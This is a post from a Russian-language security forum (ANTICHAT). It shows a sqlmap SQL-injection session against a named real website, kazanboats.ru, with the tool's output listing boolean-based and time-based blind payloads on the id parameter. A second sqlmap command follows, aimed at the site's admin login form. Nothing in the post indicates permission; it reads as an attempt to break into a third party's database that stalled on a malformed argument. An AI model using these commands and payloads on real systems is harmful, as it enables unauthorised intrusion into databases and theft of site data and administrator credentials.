ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
root@localhost:~# sqlmap -u "http://www.kazanboats.ru/index.php?id=59" --tables  -D --no-cast etyle2_kazboats

  sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:36:54

[09:36:55] [INFO] resuming back-end DBMS 'mysql'
[09:36:55] [INFO] testing connection to the target URL
[09:36:55] [INFO] heuristics detected web page charset 'windows-1251'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id=59' AND 2198=2198 AND 'naaT'='naaT

  Type: AND/OR time-based blind
  Title: MySQL > 5.0.11 AND time-based blind
  Payload: id=59' AND SLEEP(5) AND 'GtmX'='GtmX
---
[09:36:55] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.29
back-end DBMS: MySQL 5.0.11
[09:36:55] [INFO] fetching tables for database: '--no-cast'
[09:36:55] [INFO] fetching number of tables for database '--no-cast'
[09:36:55] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:36:55] [INFO] retrieved:
[09:36:56] [WARNING] time-based comparison requires larger statistical model, please wait...........................
[09:37:07] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors

[09:37:07] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[09:37:07] [WARNING] unable to retrieve the number of tables for database '--no-cast'
[09:37:07] [ERROR] unable to retrieve the table names for any database
do you want to use common table existence check? [y/N/q] N
No tables found
[09:37:11] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.kazanboats.ru'
[*] shutting down at 09:37:11

Code:
-u "http://www.kazanboats.ru/admin/login.php" --eta --random-agent --threads=8   --level=5 --union-cols=1-66 --dbms="MySQL" --technique=EBU --current-db --data="auth_login=1*&auth_pass=g00dPa%24%24w0rD&auth_typ=on"